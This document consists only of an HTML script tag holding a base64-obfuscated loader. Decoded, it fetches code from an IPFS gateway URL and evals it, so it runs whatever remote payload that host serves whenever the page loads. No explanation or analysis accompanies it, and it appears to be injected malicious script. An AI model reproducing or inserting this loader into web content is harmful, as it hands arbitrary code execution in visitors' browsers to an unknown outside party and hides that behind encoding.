<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>